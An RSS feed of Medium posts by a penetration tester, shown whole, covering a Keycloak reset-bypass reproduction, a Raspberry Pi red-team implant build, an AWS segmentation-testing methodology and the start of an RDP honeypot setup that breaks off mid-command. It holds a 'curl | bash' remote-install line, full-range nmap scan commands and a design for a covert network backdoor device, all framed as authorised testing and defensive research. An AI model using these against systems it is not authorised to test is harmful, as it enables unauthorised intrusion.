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        <title><![CDATA[Stories by alt3kx on Medium]]></title>
        <description><![CDATA[Stories by alt3kx on Medium]]></description>
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            <title>Stories by alt3kx on Medium</title>
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            <title><![CDATA[Forging kc-resetforge: Turning CVE-2026-18963 Into a Repeatable Check]]></title>
            <link>https://medium.com/@alt3kx/forging-kc-resetforge-turning-cve-2026-18963-into-a-repeatable-check-efac80087900?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/efac80087900</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[keycloak]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Thu, 27 Aug 2026 17:47:26 GMT</pubDate>
            <atom:updated>2026-08-27T17:47:26.278Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jK3587hs2wCDWfuj2v7_iw.png" /><figcaption>kc-resetforge v1.0</figcaption></figure><p><em>Reproduction notes on CVE-2026–18963 (CVSS 9.1), an unauthenticated password-reset bypass in Keycloak and the python3 verification tool built off it. For pentesters and offensive-ops assessing Keycloak deployments. Tool + video on GitHub.</em></p><p><em>Reproduction notes on CVE-2026–18963 (CVSS 9.1), an unauthenticated password-reset bypass in Keycloak and the python3 verification tool built off it. For pentesters and offensive-ops assessing Keycloak deployments. Tool + video on GitHub.</em></p><h3>Summary</h3><ul><li><strong>CVE-2026–18963</strong> · CVSS <strong>9.1</strong> · CWE-640 (Weak Password Recovery Mechanism)</li><li><strong>Affected:</strong> Keycloak upstream (fixed 26.7.2), RHBK 26.4 / 26.6</li><li><strong>Impact:</strong> Unauthenticated, zero-interaction account takeover admin accounts included</li><li>This is a reproduction of a disclosed, patched issue in an isolated lab.</li></ul><h3>Root Cause</h3><p>Reset-credentials in Keycloak is normally gated: request → emailed action token → token redemption → password update. The action token is the trust boundary, proof the requester controls the account before a credential change is allowed.</p><p>The bug: a crafted request to the reset-credentials endpoint could advance the session straight to the password-update phase, skipping the action-token check. The server tracked <em>which step</em> a session claimed to be on, but didn’t verify it had earned its way there.</p><p>One-line takeaway for your own auth-flow reviews: if step N doesn’t independently check its own precondition, the flow is only as strong as its weakest transition</p><h3>Reproduction</h3><p>Goal was verification against the advisory,</p><ul><li>Isolated lab, pre-fix Keycloak build in the affected range. No shared infra, no real data, nothing internet-facing.</li><li>Baselined the legitimate flow first via the standard reset-credentials entry point.</li><li>Diffed pre-fix behavior against the 26.7.2 patch to isolate the added state-transition check.</li><li>Confirmed the pre-fix build reached update-credentials without it, using a disposable test account. Lab torn down after.</li><li>No production or third-party system touched.</li></ul><h3>kc-resetforge</h3><p>Verification steps get tedious to repeat by hand across engagements, so I wrapped them into a python3 tool: <strong>kc-resetforge</strong>. It runs the baseline flow against a target and reports patch state. patched or vulnerable , in one pass instead of manual request-crafting per target.</p><p>Built for authorized assessment use: point it at a target you’re engaged to test. It’s a checker, and the repo is set up to stay that way. Source and usage docs on GitHub.</p><h3>Why It Matters for Assessments</h3><p>Keycloak fronts a large share of enterprise SSO. Pre-auth, zero-interaction, full account takeover on an IdP, admin included , is a top-tier finding. If Keycloak is in scope, patch status on this one belongs early in your checklist.</p><p>kc-resetforge source, lab notes, PoC video: <a href="https://github.com/alt3kx/CVE-2026-18963">https://github.com/alt3kx/CVE-2026-18963</a></p><h3>Fix</h3><ul><li><em>Upstream → </em><strong><em>26.7.2</em></strong></li><li><em>RHBK 26.4 → operator bundle </em><strong><em>26.4.15–1</em></strong><em> / images </em><strong><em>26.4–23</em></strong></li><li><em>RHBK 26.6 → operator bundle </em><strong><em>26.6.6–1</em></strong><em> / images </em><strong><em>26.6–12</em></strong></li><li><em>Interim: disable “Forgot password” per realm (Realm Settings → Login → Forgot password)</em></li></ul><p>Based on Red Hat’s advisory and Keycloak 26.7.2 release notes.</p><p>Reproduced independently in an isolated lab; no production/third-party systems tested. Original report credited to James Paremain.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=efac80087900" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[“Zovek” , My Offensive IoT Redteam Implant v1.0]]></title>
            <link>https://medium.com/@alt3kx/zovek-my-offensive-iot-redteam-implant-v1-0-f9787217fec0?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9787217fec0</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Wed, 07 Aug 2024 16:17:19 GMT</pubDate>
            <atom:updated>2024-08-07T16:17:19.674Z</atom:updated>
            <content:encoded><![CDATA[<h3>“Zovek” , My Offensive IoT Redteam Implant v1.0</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Kh-v-REx9VGOzTL9G8_ngg.jpeg" /></figure><h3>Why write this?</h3><p>This tiny hardware implant could be a cute little backdoor into your corporate network.</p><p>Latest years I was involved on personal projects as <strong>IoT pentesting </strong>looking the classical issues on IoT software and protocols , a little bit (RE) reverse engineering and classical attacks on protocols using Fuzzing techniques, but there is more than this, as <strong>Redteamer</strong>, some of them (IoT hardware) could be used as good hardware implant during a <strong>Red Team Engagement</strong>, I was looking something <strong>small</strong> to close my “<strong>Zovek</strong>” project with an important piece , the <strong>Ethernet</strong> port should be embedded and avoid connect more cables than necessary, leave all <strong>USB</strong> ports dedicated for “<strong>HID attacks</strong>”, interfaces as <strong>WIFI</strong> , <strong>Bluetooth</strong> those will be dedicated for inter connectivity to my <strong>Redteam C&amp;C infra</strong> or dedicated with virtual interfaces for more attacks (Recon, sniffing, Rouge APs, etc), as well the software should be the latest one using open source , kernel and packages as python3 and Go, finally I found a good “hat” for my hardware, while a get tuning my own <strong>Redteam</strong> <strong>C&amp;C infra</strong> and development my own and better <strong>software implants</strong> , now playing and interconnecting my<strong> hardware implants,</strong> this post could guide the <strong>RedTeamers</strong> to start building their own hardware implants…</p><h3>The Hardware</h3><p>Latest years I was experimented with IoT devices and looking to get a good balance between software, drivers, firmware , cost and I did a lot of experiments with hardware and Linux embedded , so I noticed the incredible “<strong>Fashion</strong>” into the market on this devices for <strong>RedTeamers</strong>, while there are several pre-built devices on the market that promise party tricks or an expensive price tag , so finally I decided to build my own <strong>IoT offensive implant,</strong> with resources available by my “personal wallet” , cost and effectiveness.</p><p>I recommend have a look of this document by <strong>Sean T Smith,</strong> it’s describe perfectly the costs , effort , time etc. “<em>How to Build the Perfect Red Team Hardware Implant</em>: Source: <a href="https://github.com/sean-t-smith/T-Mobster_Implant">https://github.com/sean-t-smith/T-Mobster_Implant</a></p><p>Here my list of hardware suggested:</p><p>(1) Raspberry PI Zero W:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*Ly20UUz7h2MqTLcakkvUWA.png" /><figcaption><a href="https://www.raspberrypi.com/products/raspberry-pi-zero-w">Raspberry PI Zero W</a></figcaption></figure><p>(2) PoE Ethernet/USB HUB Hat for Raspberry Pi Zero</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*eobWyhN47XyI090nnYRG_w.png" /><figcaption><a href="https://www.waveshare.com/poe-eth-usb-hub-hat.htm">PoE Ethernet for Raspberry Pi Zero</a></figcaption></figure><p>(3) Waveshare 1.3inch IPS LCD Display</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*w71VTL91VtrsjYu_2xNRJw.png" /><figcaption><a href="https://www.waveshare.com/1.3inch-lcd-hat.htm">Waveshare 1.3inch IPS LCD Display</a></figcaption></figure><h3>The Software</h3><p>There a lot of resources available on internet to built at least basic stuff e.g, WIFI Rouge/AP configuration, provide access to Internet, VPN access , Firmware and drivers for Raspberry Pi, personally I preferred build my own with latest Raspberry software and by using native tools and customize tools as RaspAP .</p><p>Here my list of software suggested :</p><h4>Choose an OS image</h4><ol><li>Option (A), choose kali <a href="https://www.kali.org/get-kali/#kali-arm">Raspberry Pi Zero W</a></li><li>Option (B), choose any kind of flavor for your <a href="https://www.raspberrypi.com/software/operating-systems/">Raspberry Pi Zero W</a></li><li>Option (C), choose <a href="https://github.com/RoganDawes/P4wnP1_aloa">P4wnP1 A.L.O.A Framework</a></li></ol><p>(*) Note: There are a lot of resources on internet how to flash your SD card and get access to your Raspberry device via WiFi (<em>wpa_supplicant </em>config) or SSH to start your configuration, that procedure it’s not posted here.</p><p>Once get full access , I suggests the following commands</p><pre>alex@raspberrypi:~ $ sudo apt update<br>alex@raspberrypi:~ $ sudo apt full-upgrade<br>alex@raspberrypi:~ $ sudo apt install raspberrypi-kernel-headers</pre><p>See your interfaces WIFI, Ethernet and Bluetooth available</p><pre>alex@raspberrypi:~ $ sudo ifconfig <br>eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500<br> [../snip]<br><br>wlan0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500<br>[../snip]<br><br>alex@raspberrypi:~ $ hcitool dev<br>Devices:<br> hci0 B8:27:EB:XX:XX:XX<br></pre><h4><strong>LCD Display drivers:</strong></h4><p>All commands and procedures are available online here:</p><p><a href="https://www.waveshare.com/wiki/3.5inch_RPi_LCD_(B)_Manual_Configuration#For_All_Raspberry_Pi_Versions">3.5inch RPi LCD (B) Manual Configuration</a></p><h3>Be creative…</h3><h4>RasAP , WIFI AP (Access Point)</h4><p>I have started to perform experiments to use WIFI AP and client , VPN access at the same time , here the link: <a href="https://raspap.com/">https://raspap.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*ayRVk8oUnKqiPGwWKhTfdA.png" /><figcaption><a href="https://raspap.com/">RaspAP Software</a></figcaption></figure><p>Quick Installer:</p><pre>alex@raspberrypi:~ $ curl -sL https://install.raspap.com | bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Pc-qQEJNn36ONRZ6AZr-Sg.jpeg" /></figure><h3>In Conclusion:</h3><p>The <strong>RedTeam</strong> operations can be challenging, but utilizing an affordable hardware platform and open source software can produce results, highlighting notable findings to the customer if your team are involved on this.</p><h3>All my sources here:</h3><p><a href="https://github.com/sean-t-smith/T-Mobster_Implant"><em>(1) How to Build the Perfect Red Team Hardware Implant</em></a></p><p><em>(2) </em><a href="https://www.blackhillsinfosec.com/offensive-iot-for-red-team-implants-part-1/"><em>Offensive IoT for Red Team Implants — Part 1</em></a></p><p><em>(3) </em><a href="https://www.blackhillsinfosec.com/offensive-iot-for-red-team-implants-part-2/"><em>Offensive IoT for Red Team Implants — Part 2</em></a></p><p>(4) <a href="https://www.blackhillsinfosec.com/offensive-iot-for-red-team-implants-part-3/"><em>Offensive IoT for Red Team Implants — Part 2</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9787217fec0" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[My AWS “Segmentation Test” Methodology for Pentesters v1.0]]></title>
            <link>https://medium.com/@alt3kx/my-aws-segmentation-test-methodology-for-pentesters-v1-0-bc110753c1e9?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc110753c1e9</guid>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Wed, 26 Jun 2024 03:44:37 GMT</pubDate>
            <atom:updated>2024-06-26T03:44:37.046Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWHrrT79pwO4S9hURwp8ew.png" /><figcaption>Generated with AI (Cloud Cybersecurity Warrior)</figcaption></figure><h3>Why write this?</h3><p>Because the new standard requires more documentation about methodology and means, penetration testers may find themselves under greater scrutiny from the organizations that hire them. <em>source</em>: <a href="https://www.scmagazine.com/resource/what-pci-dss-4-0-means-for-pen-testers"><em>https://www.scmagazine.com/resource/what-pci-dss-4-0-means-for-pen-testers</em></a></p><p><strong>Cloud Pentesting</strong> and <strong>Segmentation test </strong>, there are some of the requirements by external entities PCI-DSS highly demanding today, each time more challenged by the business needs and the technical aspect as well , both required technical skills and experienced <em>pentester </em>on cloud environments.</p><p>This post, describe how I typically approach AWS Segmentation test and create a methodology from which one could operate.</p><p>The methodology was developed during the version PCI DSS v3.2 , definitely, the new requirements could be more challenged for Cloud <em>pentesters</em> trough the version PCI DSS 4.0 with topics as Network Segmentation Test.</p><p>My methodology could support the “<em>Cloud pentesters</em>” to understand better and how to cover the requirements by “<strong>Segmentation Test</strong>” on AWS Cloud environments on <strong>technical</strong> way and describe better your method used, typically now required by <a href="https://campusguard.com/pci-dss/">PCI DSS</a> v4.0 Requirement 11.4.5 (previously 11.3.4 under version 3.2)<em> source: </em><a href="https://www.scmagazine.com/resource/what-pci-dss-4-0-means-for-pen-testers"><em>https://www.scmagazine.com/resource/what-pci-dss-4-0-means-for-pen-testers</em></a></p><p>The audience reading this document should ideally be familiar with the basics of cloud computing , traditional security fundamentals <strong>, AWS segmentation controls</strong>, and familiar with the requirements as <strong><em>PCI-DSS </em></strong><em>scoping and network segmentation,</em><strong> </strong><em>source: </em><a href="https://listings.pcisecuritystandards.org/documents/Guidance-PCI-DSS-Scoping-and-Segmentation_v1.pdf"><em>https://listings.pcisecuritystandards.org/documents/Guidance-PCI-DSS-Scoping-and-Segmentation_v1.pdf</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*sdNqMhkh3LQeZYdgBs1IPQ.png" /><figcaption>Generated with AI (Cloud Cybersecurity Isolation)</figcaption></figure><h3>Introduction</h3><p>Network segmentation as splitting a network into subsections where firewalls reject unnecessary traffic for that section. This is a foundational cybersecurity principle, which, when properly implemented, can isolate malicious activities to a limited part of the network and minimize the effect<br>of a breach.</p><p>On cloud environments as AWS VPC (Amazon Virtual Private Cloud) represents a logically isolated section of the AWS Cloud, where you can launch resources in a virtual network. It is common for resources that provide similar functionality or similar scope to span across multiple subnets across different Availability Zones (AZs) to provide redundancy. Therefore, Amazon VPCs and subnets should be used as grouping constructs and <strong>not segmentation controls.</strong></p><p>The AWS Security Groups (SGs) it’s a security group is like a virtual firewall. It works much like a traditional firewall does and offered sufficient layer of segmentation.</p><p>Security Groups act as virtual firewalls, controlling the traffic for one or more stacks (an instance or a set of instances). When a stack is launched, it’s associated with one or more security groups, which determine what traffic is allowed to reach it. The security groups consist of a set of rules that can be used to monitor and filter an instance’s incoming and outgoing traffic in a Virtual Private Cloud (VPC) instance. Filtering is done on the basis of protocols and ports.</p><p>The intent of segmentation is to prevent <strong><em>out-of-scope</em></strong> systems from being able to communicate with systems in the <em>CDE</em> or impact the security of the <em>CDE</em> (<strong><em>in scope</em></strong><em>)</em>. Segmentation is typically achieved by technologies and process controls that enforce separation between the <em>CDE</em> and <strong><em>out-of-scope</em></strong><br>systems.</p><p>Segmentation Test is performed by conducting tests used in the initial stages of a<strong><em> network penetration test </em></strong>(i.e., host discovery, port scanning, etc.). The <strong><em>penetration tester</em></strong> should be able to verify that each network segment believed to be isolated from the<em> </em><strong><em>CDE (in scope)</em></strong>, genuinely has no access to the <em>CDE</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPLMCJ1briTSmVnvUx9pEg.jpeg" /><figcaption>Generated with AI (Cloud Cybersecurity Isolation #2)</figcaption></figure><h3>Methodology</h3><h4>Audit Methodology</h4><p>My process typically involves three main steps: <strong><em>Scoping</em></strong>, <strong><em>Verification</em></strong> and <strong><em>Documentation</em></strong>.</p><h4>Scoping</h4><p>This process starts with correctly identifying the flow of <em>CHD</em> within the AWS Cloud environments, (Stakeholders / Flow Decision), typically to identify all <strong><em>In-scope</em></strong> resources and categorization of systems. <em>Source: Refer to Section 3: “Scoping Definition and Categories” </em><a href="https://listings.pcisecuritystandards.org/documents/Guidance-PCI-DSS-Scoping-and-Segmentation_v1.pdf"><em>https://listings.pcisecuritystandards.org/documents/Guidance-PCI-DSS-Scoping-and-Segmentation_v1.pdf</em></a></p><p><em>Note: Scoping and Flow Decision normally are defined by stakeholders and them must be provided to the cloud pentesters visibility on architecture “high level overview” on systems </em><strong><em>(in-scope) </em></strong><em>and systems </em><strong><em>(out-of-scope)</em></strong><em> , high level diagrams, categorization , egress/ingress flows and explain the cloud security controls in place to be tested.</em></p><h4><strong>Verification</strong></h4><p>Cloud environments as containers, <em>serverless</em>, <em>micro-segmentation </em>new technologies limit the capabilities to use “<em>inside the box</em>” tools as <strong>NMAP</strong> (could be obsoleted or non-traditional way as normal a Data Canter), <strong>instead</strong> could request access to AWS console (<em>ReadOnly permissions</em>) to perform automated , manually extraction and inspections trough all VPCs , Subnets , SGs and Networks ACLs , if stakeholders allow us some other tools as AWS Reachability Analyzer , AWS VPCs flow logs or access to AWS Athena, those tools could support the segmentation test activities as well and ensuring that networks are properly segmented and documented.</p><p>All those elements led the ability to analyze and understand the networks, find misconfiguration, and find issues where <strong><em>attacks</em></strong> can potentially succeed.</p><p><em>Note: The AWS VPCs , Subnets , SGs and Networks ACLs all those technical information are part AWS pentesting methodology </em><strong><em>, </em></strong><em>the</em><strong><em> Single Service Inspection</em></strong><em>, </em><strong><em>Cross-service inspection</em></strong><em> and </em><strong><em>Configuration extractions </em></strong><em>will allow us to obtain a big “map” of systems (</em><strong><em>In-scope) </em></strong>through all level<em>s, at the same time perform a crosscheck with documents approved as Firewall Rules/ports and test the security controls in place trough all different levels i.e from </em><strong><em>out-of-scope </em></strong><em>systems.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/199/1*y01Ib2wwWAN7rJibqMSe4w.png" /><figcaption><a href="https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html">AWS VPC Flow Logs</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/116/1*wO_-VzwhccOzzdM3siHS8g.png" /><figcaption><a href="https://docs.aws.amazon.com/vpc/latest/reachability/what-is-reachability-analyzer.html">AWS VPC Reachabiitiy</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/154/1*uwbjpdN57WJaUxUZ-_GmeQ.png" /><figcaption><a href="https://docs.aws.amazon.com/athena/latest/ug/what-is.html">AWS Athena</a></figcaption></figure><h4>Inventory and inspection (in-scope)</h4><p>Below a bit extraction from my <em>aws-cli commands</em> and see quickly networks as Source / Destination / IP address and ports.</p><p><em>Note: This is an extraction, as cloud pentester should extract all additional info required to support your audit e.g VPCs/CDIRs/Subnets/Routes/Network ACLs and SG (Security Groups) for each app stack code audited.</em></p><pre>$ for SG in $(aws ec2 describe-security-groups --profile &lt;redacted&gt; --region &lt;redacted&gt; | jq -r<br>&#39;.SecurityGroups[].GroupId&#39; | sort -u); do aws ec2 describe-security-groups --profile &lt;redacted&gt; --region &lt;redacted&gt; --<br>group-ids $SG| jq -r &#39;.SecurityGroups[].IpPermissions[]|. as $parent|(.IpRanges[].CidrIp+&quot; &quot;+($parent.ToPort|tostring)+&quot;<br>&quot;+.IpRanges[].Description)<br><br>[../snip]</pre><p>Listing and getting All VPC flow logs from <em>S3 bucket</em> assigned (at least three months stored) for each <em>appstack code audited</em> e.g.</p><p><em>Note: This is my manual approach, if stakeholders count with better access with GUI interfaces and dashboards e.g Grafana could support better your audit.</em></p><pre>Listing VPC Log files:<br>$ aws --profile &lt;redacted&gt; s3 ls s3://&lt;s3-vpcflowlogs-id&gt;/&lt;directory&gt;/<br>[../snip]<br><br>Download VPC Log files:<br>$ aws --profile &lt;redacted&gt; s3 sync s3://&lt;s3-vpcflowlogs-id&gt;/&lt;dir&gt;//&lt;vpc-id&gt;/&lt;dir&gt;/&lt;region&gt;/&lt;date&gt;/ ./&lt;local_directory&gt;<br>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n2Qvai97IqqtZut-2O4fqQ.png" /><figcaption><a href="https://aws.amazon.com/blogs/mt/visualize-and-gain-insights-into-your-vpc-flow-logs-with-amazon-managed-grafana/">Visualize and gain insights into your VPC Flow logs with Amazon Managed Grafana</a></figcaption></figure><p>Quick Data Analysis / Results</p><p><em>Note: This is a quick parsing of VPC flow logs using awk command line , save it into CSV file format for deeper analysis with IP address, source/destination and ports, source: </em><a href="https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-records-examples.html"><em>https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-records-examples.html</em></a><em>.</em></p><pre>Uncompressed all Logs: <br>$ gunzip -dk *.gz<br>[../snip]<br><br>Save into a .csv format / deeper analysis<br>$ cat *.log | awk &#39;{print $4, $5, $6, $7, $8, $15}&#39; &gt;&gt; redacted.csv<br>[../snip]</pre><p><em>Note: The complementary tool that could automate this process without any extra “steroids” and inspect the AWS SGs (AWS Security Groups) could use AWS-SG-Analyzer by </em><a href="https://github.com/SherifTalaat"><em>Sherif Talaat</em></a><em> source: </em><a href="https://github.com/SherifTalaat/AWS-SG-Analyzer"><em>https://github.com/SherifTalaat/AWS-SG-Analyzer</em></a><em> and useful for quick crosscheck with approved and documented FW rules/ports.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_2UHUnWyihTyBKOBZGSGA.png" /><figcaption>AWS-SG-Analyzer Summary (Images and credit by <a href="https://github.com/SherifTalaat/AWS-SG-Analyzer">Sherif Talaat</a>)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pgPD0PtW6TqP6xcbjf8q3g.png" /><figcaption>AWS-SG-Analyzer Summary (Images and credit by <a href="https://github.com/SherifTalaat/AWS-SG-Analyzer">Sherif Talaat</a>)</figcaption></figure><h4>Connected from <strong><em>(out-of-scope) systems</em></strong></h4><p>Getting all AWS VPCs/CDIRs/Subnets <strong><em>(in-scope)</em></strong>, awk parsing, save the IP address into targets.txt file for <strong>Nmap</strong> input, for each <em>appstack</em> <em>code</em> audited e.g:</p><pre>$ for region in &lt;redacted&gt;; do aws ec2 describe-vpcs --profile &lt;redacted&gt; --region $region | jq -r &#39;.Vpcs[]|.VpcId+&quot;<br>&quot;+(.Tags[]|select(.Key==&quot;Name&quot;).Value)+&quot; &quot;+.CidrBlock&#39; ;done | awk &#39;{print $3}&#39; &gt;&gt; targets.txt<br><br>$ cat targets.txt <br>0.0.0.0/24<br>1.1.1./24<br>[../snip]</pre><p>Getting all AWS Security Groups Ports (<em>in-scope</em>), awk parsing, save the ports results into <em>ports.txt</em> file for <strong>Nmap </strong>input, for each <em>appstack code</em> audited e.g.</p><pre>$ for SG in $(aws ec2 describe-security-groups --profile &lt;redacted&gt; --region &lt;redacted&gt; | jq -r &#39;.SecurityGroups[].GroupId&#39; | sort -u); do<br>aws ec2 describe-security-groups --profile &lt;redacted&gt; --region &lt;redacted&gt; --group-ids $SG| jq -r &#39;.SecurityGroups[].IpPermissions[]|. as<br>$parent|(.IpRanges[].CidrIp+&quot; &quot;+($parent.ToPort|tostring)+&quot; &quot;+.IpRanges[].Description)&#39; | sed -re &quot;s/(.+)/$SG,\1/&quot; ; done | sed &#39;s,^-1,ANY,&#39;<br>| awk &#39;{print $2}&#39; &gt;&gt; ports.txt<br><br>$ cat ports.txt <br>10001<br>22<br>443<br>[../snip]</pre><p>Execute <strong>Nmap</strong> tool and use the TCP <em>ports.txt</em> and <em>targets.txt</em> files e.g</p><pre>$ nmap -sT -p$(tr &#39;\n&#39; , &lt;tcp_ports.txt) --min-rate 1000 -n -Pn --max-retries 1 --min-parallelism 10 --scanflags SYNFINACK -iL targets.txt -<br>vvv --disable-arp-ping<br>[../snip]<br><br>Or Run (All TCP ports):<br><br>$ nmap -p0-65535 -T5 --min-rate 1000 -n -Pn --max-retries 1 --min-parallelism 10 --scanflags SYNFINACK -iL targets.txt -vvv --disable-<br>arp-ping -oX redacted.xml --reason –webxml<br>[../snip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*19uY4ZyfrR1TKSU4nhwfFw.jpeg" /><figcaption>Generated with AI (Cloud Cybersecurity Isolation #3)</figcaption></figure><h4><strong>Documentation</strong></h4><p>The final document contain a summary of findings / status, typically the status from each network tested will be contain <strong><em>Justified</em></strong>, <strong><em>Not accessible</em></strong><em>,</em> <strong><em>Compliant</em></strong>, every finding will be documented and indexed with severity assigned C/H/M/L with details according to network tested e.g (“scan name”) and evidences of ports listened found if applicable (e.g. ports/networks not documented).</p><ul><li>Every interaction (logical and/or physical) between CDE Systems and Out-of-scope Systems <strong>MUST</strong> be <strong>prohibited</strong>.</li><li>Every interaction (logical and/or physical) between CDE Systems and Connected-to and/or Security-Impacting Systems and Out-of-scope systems <strong>MUST</strong> be controlled and justified.</li><li>Every interaction (logical and/or physical) between Connected-to and/or Security-Impacting Systems and Out-of-scope systems <strong>MUST</strong> be controlled and justified.</li></ul><p><strong><em>Source: </em></strong><a href="https://www.advantio.com/blog/segmentation-testing-for-pci-dss"><strong><em>https://www.advantio.com/blog/segmentation-testing-for-pci-dss</em></strong></a></p><h3>All my sources here:</h3><p><em>(1) </em><a href="https://blog.pcisecuritystandards.org/pci-dss-v4-0-resource-hub"><em>PCI DSS v4 Resource Hub</em></a></p><p><em>(2) </em><a href="https://pciguru.wordpress.com/"><em>PCI Guru</em></a><em> PCI DSS</em></p><p><em>(3) </em><a href="https://www.scmagazine.com/resource/what-pci-dss-4-0-means-for-pen-testers"><em>What PCI DSS 4.0 means for pen testers</em></a></p><p><em>(4) </em><a href="https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html"><em>AWS VPC Flow Logs</em></a></p><p><em>(5) </em><a href="https://docs.aws.amazon.com/vpc/latest/reachability/what-is-reachability-analyzer.html"><em>AWS VPC Reachabiitiy</em></a></p><p><a href="https://docs.aws.amazon.com/vpc/latest/reachability/what-is-reachability-analyzer.html"><em>(6) AWS Athena</em></a></p><p><em>(7) </em><a href="https://listings.pcisecuritystandards.org/documents/Guidance-PCI-DSS-Scoping-and-Segmentation_v1.pdf"><em>Guidance for PCI DSS Scoping and Network Segmentation</em></a></p><p><em>(8) </em><a href="https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-records-examples.html"><em>AWS Flow log record examples</em></a></p><p><em>(9) </em><a href="https://github.com/SherifTalaat/AWS-SG-Analyze"><em>AWS Security Group Analyzer</em></a></p><p><em>(10) </em><a href="https://www.advantio.com/blog/segmentation-testing-for-pci-dss"><em>Everything You Need to Know About Segmentation Testing for PCI DSS</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc110753c1e9" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Build an easy RDP Honeypot with Raspberry PI 3 and observe the infamous attacks as (BlueKeep)…]]></title>
            <link>https://medium.com/@alt3kx/build-an-easy-rdp-honeypot-with-raspberry-pi-3-and-observe-the-infamous-attacks-as-bluekeep-29a167f78cc1?source=rss-7413f5a9ff32------2</link>
            <guid isPermaLink="false">https://medium.com/p/29a167f78cc1</guid>
            <category><![CDATA[raspberry-pi]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[bluekeep]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cve-2011-0708]]></category>
            <dc:creator><![CDATA[alt3kx]]></dc:creator>
            <pubDate>Wed, 05 Jun 2019 07:38:29 GMT</pubDate>
            <atom:updated>2019-06-05T07:38:29.409Z</atom:updated>
            <content:encoded><![CDATA[<h3>Build an easy RDP Honeypot with Raspberry PI 3 and observe the infamous attacks as (BlueKeep) <strong>CVE-2019–0708</strong></h3><p>Last weeks a big activity on networks trying to attack RDP service , maybe a botnets looking an infected “zombies” on RDP services or perhaps the bad guys trying to exploit the new attack called (BlueKeep) <strong>CVE-2019–0708</strong> ? Inspect the traffic and setup your own honeypot with RP3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*_DwDR4kEDcwOIFfrgeDI5Q.jpeg" /><figcaption>RDP Honeypot Raspberry PI 3</figcaption></figure><h3>Technical Requirements:</h3><pre>Hardware: <br>1. Raspberry PI3</pre><pre>Essential Packages <br>1. Wireshark<br>2. tcpdump<br>3. bro<br>4. rdpy<br>5. tcpick</pre><h3>Installation</h3><p><strong>Step1</strong>: Flash your Kali image to your Raspberry PI3 , I chose this one <a href="https://images.offensive-security.com/arm-images/kali-linux-2019.2-rpi3-nexmon.img.xz">https://images.offensive-security.com/arm-images/kali-linux-2019.2-rpi3-nexmon.img.x z,</a> and I used <strong>Etcher</strong> software to flashing your SD card on windows environment (easy&amp;quickly) <a href="https://www.balena.io/etcher/?ref=etcher_footer">https://www.balena.io/etcher/?ref=etcher_footer</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*gEfwQ5zbnnolQXQO_D-i-w.png" /><figcaption>Flashing SD card with Etcher</figcaption></figure><p><strong>Step2:</strong> Once flashed proceed to update/upgrade everything:</p><pre># apt-get update &amp;&amp; apt-get upgrade &amp;&amp; apt-get dist-upgrade</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khH3sKSaC6t3Ikuwny-Jxw.png" /><figcaption>Kali on Raspberry PI 3</figcaption></figure><p><strong>Step3:</strong> install the <strong>python-rdpy </strong>packages</p><pre># pip install twisted pyopenssl qt4reactor service_identity rsa pyasn1<br># pip install rdpy<br># apt-get install 